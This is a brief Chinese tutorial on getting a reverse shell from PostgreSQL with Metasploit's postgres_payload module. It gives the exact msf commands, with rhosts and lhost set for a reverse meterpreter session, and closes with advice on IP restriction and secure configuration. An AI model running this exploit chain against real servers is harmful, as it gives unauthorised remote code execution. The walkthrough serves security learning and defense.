postgresql代码执行利用
利用msf下 postgresql 的代码执行模块,获得反弹shell。
我们在使用该模块的时候,可以使用命令获取对应的信息
search postgresql
use exploit/linux/postgres/postgres_payload
show info
在某些默认的PostgreSQL Linux安装中,postgres服务帐户可以写入/tmp目录,也可以从那里获得UDF共享库,从而允许执行任意代码。该模块编译一个Linux共享对象文件,通过二进制注入的UPDATE pg_largeobject方法将其上传到目标主机,并从该共享对象创建一个UDF(用户定义函数)。因为负载是作为共享对象的构造函数运行的,所以它不需要遵循特定的Postgres API版本
show options
set rhosts 192.168.1.105
set lhost 192.168.42.128
exploit
很快建立了会话,并且反弹了meterpreter
?
ps
shell
返回一个shell,我们看到反弹回的并不是root shell,而是反弹回postgres shell,它的权限依然不是最高的权限
防御修复
防御:屏蔽任意IP连接postgresql,指定具体的IP地址,来连接postgresql,在一定程度上防御了远程位置IP,连接postgresql的风险
修复:在postgresql出现问题的时候,升级版本,避免出现安全事故,同时也要对默认安装好的软件,进行安全配置,防止默认配置造成的安全隐患,在实际的生产环境当中,我们无法做到快速升级版本,一个东西可能涉及的软件,还有很多,这个时候,我们采用更多的是,安全配置,以及防御的方式,来防止,我们这种软件,受到安全威胁